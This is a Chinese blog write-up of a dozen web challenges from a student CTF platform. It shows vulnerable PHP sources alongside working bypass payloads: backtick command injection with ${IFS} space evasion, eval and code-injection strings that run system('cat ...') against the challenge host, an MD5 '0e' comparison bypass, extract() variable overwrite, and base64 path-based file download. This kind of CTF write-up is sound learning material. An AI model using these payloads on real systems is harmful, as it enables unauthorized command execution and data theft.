中學生CTF幾道web題解

之前偶然發現中學生 CTF 這個平台,就做了一下。結果嘛,學到不少東西,大佬們太強了

小菜雞的日常:

沒有茶,沒有煙,我也要做一天

$_GET

源碼:

   <?php      show_source(__FILE__);      include 'config.php';      if(!isset($_GET['args'])){          die();      }      if ($_GET['args'] === "give_me_flag") {          echo file_get_contents($flag_of_get); //flag      }  ?>

會判斷 $_GET 傳參,如果是 args 且值是 give_me_flag,就會打印 flag

$_POST

源碼

  <?php      show_source(__FILE__);      include 'config.php';      if(!isset($_POST['args'])){          die();      }      if ($_POST['args'] === "give_me_flag") {          echo file_get_contents($flag_of_post); //flag      }  ?>

跟上一關一樣,只是 GET 變成了 POST,用火狐的 hackbar 傳參,拿到 flag

$_COOKIE

直接訪問會顯示:You are not admin,源代碼沒有任何提示

抓包看看:

有個 cookie: level=0,改成 1 看看

成功拿到 flag

SVN_Leaked

看到 SVN 聯想到 SVN 源碼泄漏,用工具掃一下

有個 SourceLeakHackerForLinux.py

github 項目:https://github.com/Err0rzz/SourceLeakHacker

一開始各種路徑試了試,結果直接訪問 .php 文件就可以得到 flag

List It

查看源代碼,發現有的 admin 的連接,訪問!

訪問以後又看到有個

點開就是 flag,怎麼感覺這題應該是放在第一道簽到題吶。。

change_and_download

發現下載的文件名是 base64 編碼的格式

之前一下就做出來了,結果第二次想寫文章,再一次做這個題的時候死活做不出來,導致這篇文章拖了這麼久

今天突然試了一下,把後面的改成

?url=ZG93bmxvYWQucGhw(download.php 的 base64 編碼)

把 download.php 下載下來了,然後發現裏面有三個.php 文件

不能直接傳 ?url=flag.php 會顯示 Access Forbidden!

所以傳 ?url=ZmxhZy5waHA= 下載下來的文件里就有 flag

Guess Random

查看源代碼,有個 ?debug=true

加上以後就有了源碼

發現了extract($_POST),變量覆蓋!!

傳參:secretKey=1&password=1,得到 flag

Guess Random 2

訪問index.php.bak,下載下來 bak 文件

<?php      require_once 'flag.php';      if(isset($_GET['mash']) and isset($_GET['hash'])){                $res = sanitize($_GET['mash']);              $hash = sanitize($_GET['hash']);                      $secretValue = (rand(5,5555)*555+55555555555);                if(($res != false) and ($hash != false)){                      if($res.$secretValue == md5($_GET['hash'])){                                echo $flag;                      }                      else{                              echo 'Try Again ! ';                        }              }              else{                      echo "No!!!";              }      }      else{              echo "<img src='http://sqlbak.com/blog/wp-content/uploads/2014/02/bak_file.png'>";      }        //function      function sanitize($var){              $valideChar = str_split('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789');              $res = '';                if(isset($var) and !empty($var)){                      $tmp = str_split($var);                        foreach($tmp as $value){                              if(in_array($value,$valideChar)){                                      $res.=$value;                              }                      }                      return $res;              }              else{                      return false;              }      }      ?>

首先 $_GET 傳進兩個變量,首先會經過 sanitize 進行處理,處理的過程大概就是將傳入的字符串分割成一個一個的字符,然後看看在不在 $valideChar 裏面,如果在的話就正常返回值

那麼正常的輸入字符串是沒有什麼問題的,剩下的就是繞過 MD5 了

只需要 MD5 開頭是 0e,PHP 在進行比較運算時,如果遇到了 0exxx 這種字符串,就會將這種字符串解析為科學計數法,因為 0exx 都等於 0,所以讓兩者相等我們只需再找到一個 MD5 加密後開頭為 0exxx 的字符串即可

需要注意的是,第一個參數是不經過 MD5 的,所以需要直接傳入 0exxx 開頭的,足夠 32 位就可以

Ping

命令執行繞過,試了試過濾了一些:一些命令

但是反引號可以執行命令

通過拼接,可以拼接出來:ls 命令

127.0.0.1;`a="l";b="s";c=$a$b;$c`

可以發現 flag 就是下面那一串 flag_ 開頭的字符串

在拼接命令來查看:

127.0.0.1;`a="ca";b="t${IFS}fla";c="g_ae8e4cd6ce3b5";d=$a$b$c;$d`

針對空格過濾,可以使用:

${IFS} < (也被過濾了) $IFS $IFS$9

來代替,但是考慮到在一串字符串中,所以使用 ${IFS} 來代替空格

Easy RCE

查看源碼,發現

但是傳值,總是出現問題,在題目的地方發現,可以查看 hint

查看 hint

<?php    eval($_GET['name']."!!!");?>

後面追加了三個 !!!,所以會有報錯

知道問題了,只需要繞過就可以了

使用://就可以把 php 代碼注釋掉

//name=print_r(scandir('./'));
?name=print_r(scandir('../../../'));//
 ?name=system('cat ../../../flag_bfe6335f68be16c1');//

Code Inject

完全是按照網上的 WP 做的 Orz

點擊不要點我鏈接然後得到源代碼,這樣可以通過閉合括號來實現代碼注入

http://198.13.45.199:5007/index.php?code=};phpinfo();//
http://198.13.45.199:5007/index.php?code=}system('ls ../../../');//
http://198.13.45.199:5007/index.php?code=}system('cat ../../../flag_f4bb6a070d7d979e');//

Eval is Evil

源碼如下

<?php  highlight_file(__FILE__);  $flag = file_get_contents('/flag_6edb44d39f5479601fb');  $yourinput = $_GET['cmd'];  $funcs_internal = get_defined_functions()['internal'];    function helper($d){      return base64_decode($d);  }    $who = "ZmxhZw==";  $funcs_extra = array ('eval', 'include', 'require', 'function');  $funny_chars = array ('.', '+','flag', '-', '*', '"', '`', '[', ']', '@', '!', '#', '%', '&', '~');  $variables = array ('_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS');  $blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables);  $yourbro = "who";    $hacked = false;  $why = "";  foreach ($blacklist as $blacklisted) {      if (preg_match ('/' . $blacklisted . '/im', $yourinput)) {          $hacked = true;          $why = $blacklisted;          break;      }  }    if ($hacked) {      die('Hacker Detected,<br/>Reason: '.$why." !");  } else {      if(isset($yourinput)){             @eval("echo " . $yourinput . " ;");      }else{          echo "Input your command!";      }  }

分析的時候發現 $who 有些特殊,就解碼了一下,發現是 flag,同時看到上面的 helper() 函數,就想到可能是需要用 helper() 來解碼 $who 傳進 flag 去

構造語句如下:

?cmd=helper()$who

可以看到是有 flag 回顯的,但是這裡再往下就不會了 Orz…

後來用谷歌搜了一下,發現可以使用 ${helper($who)},這樣就 OK 了

後面還有三道 web 官方給出了題解,本來想跟着做一下,結果過兩天 web 題的崩了,直接打不開了 Orz…